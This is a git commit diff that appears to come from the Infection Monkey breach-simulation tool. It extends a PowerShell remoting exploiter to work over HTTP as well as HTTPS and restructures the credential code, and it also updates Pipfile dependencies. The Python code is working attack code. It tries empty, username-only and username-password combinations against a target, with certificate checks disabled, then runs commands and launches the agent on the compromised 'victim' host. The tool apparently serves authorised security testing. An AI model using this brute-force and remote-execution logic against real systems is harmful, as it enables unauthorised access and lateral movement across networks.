Add the capability to exploit powershell remoting over HTTP and improve the code style

This commit is contained in:
VakarisZ 2021-09-01 14:21:57 +03:00
parent 13b1904cf7
commit b2e1b28059
6 changed files with 170 additions and 95 deletions

View File

@ -30,6 +30,7 @@ WMI = {version = "==1.5.1", sys_platform = "== 'win32'"}
ScoutSuite = {git = "git://github.com/guardicode/ScoutSuite"} ScoutSuite = {git = "git://github.com/guardicode/ScoutSuite"}
pyopenssl = "==19.0.0" # We can't build 32bit ubuntu12 binary with newer versions of pyopenssl pyopenssl = "==19.0.0" # We can't build 32bit ubuntu12 binary with newer versions of pyopenssl
pypsrp = "*" pypsrp = "*"
typing-extensions = "*"
[dev-packages] [dev-packages]

View File

@ -1,7 +1,7 @@
{ {
"_meta": { "_meta": {
"hash": { "hash": {
"sha256": "60705d888d53c68aebc3a324b4f22e472f35ed152c2e506d475fe639feb7e359" "sha256": "96a125018d143a7446fe9b2849991c00d79f37c433694db77e616c1135baeaf9"
}, },
"pipfile-spec": 6, "pipfile-spec": 6,
"requires": { "requires": {
@ -69,19 +69,19 @@
}, },
"boto3": { "boto3": {
"hashes": [ "hashes": [
"sha256:7209b79833bdf13753aa24f76bf533890ffed2cc4fe1fe08619d223c209bbd11", "sha256:461f659c06f9f56693cebbca70b11866f096021eafbd949a3c029c3a8adee6a4",
"sha256:f46c93d09acd4d4bfc6b9522ed852fecbdc508e0365f29ddfb3c146aae784b4e" "sha256:596d2afda27ae3d9a10112a475aa25c4d6b5cf023919e370ad8e6c6ae04d57a6"
], ],
"markers": "python_version >= '3.6'", "markers": "python_version >= '3.6'",
"version": "==1.18.27" "version": "==1.18.33"
}, },
"botocore": { "botocore": {
"hashes": [ "hashes": [
"sha256:8c99abd7093ab11ce8d09c68732aeeb6065a53d2fe371568452e99291817fff5", "sha256:204327b9a33e3ae5207ff9acdd7d3b6d1f99f5dc9165a4d843d6f1a566f3006c",
"sha256:b9e2c90bad164d111c229102f58f995c28576e719dd116b446965e1b786f8fa5" "sha256:b321b570a0da4c6280e737d817c8f740bce0ef914f564e1c27246c7ae76b4c31"
], ],
"markers": "python_version >= '3.6'", "markers": "python_version >= '3.6'",
"version": "==1.21.27" "version": "==1.21.33"
}, },
"certifi": { "certifi": {
"hashes": [ "hashes": [
@ -441,11 +441,11 @@
}, },
"minidump": { "minidump": {
"hashes": [ "hashes": [
"sha256:7f341d62b5a6ea961d6230e35c2cb68c5b1d258403411b6e4c58aa0c317cf498", "sha256:67b3327cb96e319633653a353c6281703772335dc84797d6fdce7daf0b3be077",
"sha256:b9fe0a65cf42d60591807bb8b6d9357e92f6a46f2851befdbaf08894722d07ff" "sha256:fdd9eb4566b6d3dabc205bf644ded724067bdbdb453eb418565261e5520b3537"
], ],
"markers": "python_version >= '3.6'", "markers": "python_version >= '3.6'",
"version": "==0.0.18" "version": "==0.0.19"
}, },
"minikerberos": { "minikerberos": {
"hashes": [ "hashes": [
@ -969,12 +969,12 @@
}, },
"typing-extensions": { "typing-extensions": {
"hashes": [ "hashes": [
"sha256:0ac0f89795dd19de6b97debb0c6af1c70987fd80a2d62d1958f7e56fcc31b497", "sha256:49f75d16ff11f1cd258e1b988ccff82a3ca5570217d7ad8c5f48205dd99a677e",
"sha256:50b6f157849174217d0656f99dc82fe932884fb250826c18350e159ec6cdf342", "sha256:d8226d10bc02a29bcc81df19a26e56a9647f8b0a6d4a83924139f4a8b01f17b7",
"sha256:779383f6086d90c99ae41cf0ff39aac8a7937a9283ce0a414e5dd782f4c94a84" "sha256:f1d25edafde516b146ecd0613dabcc61409817af4766fbbcfb8d1ad4ec441a34"
], ],
"markers": "python_version < '3.8'", "index": "pypi",
"version": "==3.10.0.0" "version": "==3.10.0.2"
}, },
"urllib3": { "urllib3": {
"hashes": [ "hashes": [

View File

@ -4,7 +4,7 @@ from typing import Optional, Union
import pypsrp import pypsrp
import spnego import spnego
from pypsrp.client import Client from pypsrp.exceptions import AuthenticationError
from pypsrp.powershell import PowerShell, RunspacePool from pypsrp.powershell import PowerShell, RunspacePool
from urllib3 import connectionpool from urllib3 import connectionpool
@ -13,6 +13,12 @@ from common.utils.exploit_enum import ExploitType
from infection_monkey.exploit.consts import WIN_ARCH_32, WIN_ARCH_64 from infection_monkey.exploit.consts import WIN_ARCH_32, WIN_ARCH_64
from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.HostExploiter import HostExploiter
from infection_monkey.exploit.powershell_utils import utils from infection_monkey.exploit.powershell_utils import utils
from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions
from infection_monkey.exploit.powershell_utils.credential_generator import CredentialGenerator
from infection_monkey.exploit.powershell_utils.utils import (
IClient,
get_client_based_on_auth_options,
)
from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey_by_os from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey_by_os
from infection_monkey.model import GET_ARCH_WINDOWS, VictimHost from infection_monkey.model import GET_ARCH_WINDOWS, VictimHost
from infection_monkey.utils.environment import is_windows_os from infection_monkey.utils.environment import is_windows_os
@ -41,49 +47,79 @@ class PowerShellExploiter(HostExploiter):
logging.getLogger(package.__name__).setLevel(logging.ERROR) logging.getLogger(package.__name__).setLevel(logging.ERROR)
def _exploit_host(self): def _exploit_host(self):
self.client = self._authenticate_via_brute_force() is_https = self._is_client_using_https()
credentials = CredentialGenerator(
self.host.ip_addr,
self._config.exploit_user_list,
self._config.exploit_password_list,
is_windows_os(),
).get_credentials(is_https=is_https)
self.client = self._authenticate_via_brute_force(credentials)
if not self.client: if not self.client:
return False return False
return self._execute_monkey_agent_on_victim() return self._execute_monkey_agent_on_victim()
def _authenticate_via_brute_force(self) -> Optional[Client]: def _is_client_using_https(self) -> bool:
credentials = utils.get_credentials(
self._config.exploit_user_list, self._config.exploit_password_list, is_windows_os()
)
for username, password in credentials:
try: try:
client = self._authenticate(username, password) self._try_http()
return False
except AuthenticationError:
return False
except Exception:
pass
try:
self._try_https()
return True
except AuthenticationError:
return True
except Exception:
raise Exception("Powershell remoting seems to be disabled.")
def _try_http(self):
auth_options_http = AuthOptions(
ip_addr=self.host.ip_addr,
username=self._config.exploit_user_list[0],
password=self._config.exploit_password_list[0],
is_https=False,
)
self._authenticate(auth_options_http)
def _try_https(self):
auth_options_http = AuthOptions(
ip_addr=self.host.ip_addr,
username=self._config.exploit_user_list[0],
password=self._config.exploit_password_list[0],
is_https=True,
)
self._authenticate(auth_options_http)
def _authenticate_via_brute_force(self, credentials: [AuthOptions]) -> Optional[IClient]:
for credential in credentials:
try:
client = PowerShellExploiter._authenticate(credential)
LOG.info( LOG.info(
f"Successfully logged into {self.host.ip_addr} using Powershell. User: " f"Successfully logged into {self.host.ip_addr} using Powershell. User: "
f"{username}" f"{credential.username}"
) )
self.report_login_attempt(True, username, password) self.report_login_attempt(True, credential.username, credential.password)
return client return client
except Exception as ex: # noqa: F841 except Exception as ex: # noqa: F841
LOG.debug( LOG.debug(
f"Error logging into {self.host.ip_addr} using Powershell. User: " f"Error logging into {self.host.ip_addr} using Powershell. User: "
f"{username}, Error: {ex}" f"{credential.username}, Error: {ex}"
) )
self.report_login_attempt(False, username, password) self.report_login_attempt(False, credential.username, credential.password)
return None return None
def _authenticate(self, username: Optional[str], password: Optional[str]) -> Client: @staticmethod
(ssl, auth, encryption) = utils.get_powershell_client_params(password) def _authenticate(auth_options: AuthOptions) -> IClient:
client = Client( client = get_client_based_on_auth_options(auth_options)
self.host.ip_addr,
username=username,
password=password,
cert_validation=False,
ssl=ssl,
auth=auth,
encryption=encryption,
connection_timeout=3,
)
# attempt to execute dir command to know if authentication was successful # attempt to execute dir command to know if authentication was successful
client.execute_cmd("dir") client.execute_cmd("dir")

View File

@ -0,0 +1,10 @@
from dataclasses import dataclass
from typing import Union
@dataclass
class AuthOptions:
ip_addr: str
username: Union[str, None]
password: Union[str, None]
is_https: bool

View File

@ -0,0 +1,46 @@
from itertools import product
from typing import List
from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions
def get_credentials(
usernames: List[str], passwords: List[str], is_windows: bool, is_https: bool
) -> List[AuthOptions]:
credentials = []
credentials.extend(_get_empty_credentials(is_windows))
credentials.extend(_get_username_only_credentials(usernames, is_windows))
credentials.extend(_get_username_password_credentials(usernames, passwords, is_https=is_https))
return credentials
def _get_empty_credentials(is_windows: bool) -> List[AuthOptions]:
if is_windows:
return [AuthOptions(username=None, password=None, is_https=False)]
return []
def _get_username_only_credentials(usernames: List[str], is_windows: bool) -> List[AuthOptions]:
credentials = [
AuthOptions(username=username, password="", is_https=False) for username in usernames
]
if is_windows:
credentials.extend(
[AuthOptions(username=username, password=None, is_https=True) for username in usernames]
)
return credentials
def _get_username_password_credentials(
usernames: List[str], passwords: List[str], is_https: bool
) -> List[AuthOptions]:
username_password_pairs = product(usernames, passwords)
return [
AuthOptions(credentials[0], credentials[1], is_https=is_https)
for credentials in username_password_pairs
]

View File

@ -1,63 +1,10 @@
from itertools import product from pypsrp.client import Client
from typing import List, Optional, Tuple from typing_extensions import Protocol
from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions
from infection_monkey.model import DROPPER_ARG, RUN_MONKEY, VictimHost from infection_monkey.model import DROPPER_ARG, RUN_MONKEY, VictimHost
from infection_monkey.utils.commands import build_monkey_commandline from infection_monkey.utils.commands import build_monkey_commandline
AUTH_BASIC = "basic"
AUTH_NEGOTIATE = "negotiate"
ENCRYPTION_AUTO = "auto"
ENCRYPTION_NEVER = "never"
def get_credentials(
usernames: List[str], passwords: List[str], is_windows: bool
) -> List[Tuple[Optional[str], Optional[str]]]:
# When username or password is None, this instructs the powershell client to attempt to use
# The current user's credentials. This is only valid if the client is running from a Windows
# machine.
credentials = []
credentials.extend(_get_empty_credentials(is_windows))
credentials.extend(_get_username_only_credentials(usernames, is_windows))
credentials.extend(_get_username_password_credentials(usernames, passwords))
return credentials
def _get_empty_credentials(is_windows: bool) -> List[Tuple[None, None]]:
if is_windows:
return [(None, None)]
return []
def _get_username_only_credentials(
usernames: List[str], is_windows: bool
) -> List[Tuple[str, Optional[str]]]:
credentials = [(username, "") for username in usernames]
if is_windows:
credentials.extend([(username, None) for username in usernames])
return credentials
def _get_username_password_credentials(
usernames: List[str], passwords: List[str]
) -> List[Tuple[str, str]]:
username_password_pairs = product(usernames, passwords)
return [credentials for credentials in username_password_pairs]
def get_powershell_client_params(password: str) -> Tuple[bool, str, str]:
ssl = password != ""
auth = AUTH_NEGOTIATE if password != "" else AUTH_BASIC
encryption = ENCRYPTION_AUTO if password != "" else ENCRYPTION_NEVER
return (ssl, auth, encryption)
def build_monkey_execution_command(host: VictimHost, depth: int, executable_path: str) -> str: def build_monkey_execution_command(host: VictimHost, depth: int, executable_path: str) -> str:
monkey_params = build_monkey_commandline( monkey_params = build_monkey_commandline(
@ -72,3 +19,38 @@ def build_monkey_execution_command(host: VictimHost, depth: int, executable_path
"monkey_type": DROPPER_ARG, "monkey_type": DROPPER_ARG,
"parameters": monkey_params, "parameters": monkey_params,
} }
AUTH_BASIC = "basic"
AUTH_NEGOTIATE = "negotiate"
ENCRYPTION_AUTO = "auto"
ENCRYPTION_NEVER = "never"
CONNECTION_TIMEOUT = 3 # Seconds
class IClient(Protocol):
def execute_cmd(self, cmd: str):
pass
def get_client_based_on_auth_options(auth_options: AuthOptions) -> IClient:
# Passwordless login only works with SSL false, AUTH_BASIC and ENCRYPTION_NEVER
if auth_options.password == "":
ssl = False
else:
ssl = auth_options.is_https
auth = AUTH_NEGOTIATE if auth_options.password != "" else AUTH_BASIC
encryption = ENCRYPTION_AUTO if auth_options.password != "" else ENCRYPTION_NEVER
return Client(
auth_options.ip_addr,
username=auth_options.username,
password=auth_options.password,
cert_validation=False,
ssl=ssl,
auth=auth,
encryption=encryption,
connection_timeout=CONNECTION_TIMEOUT,
)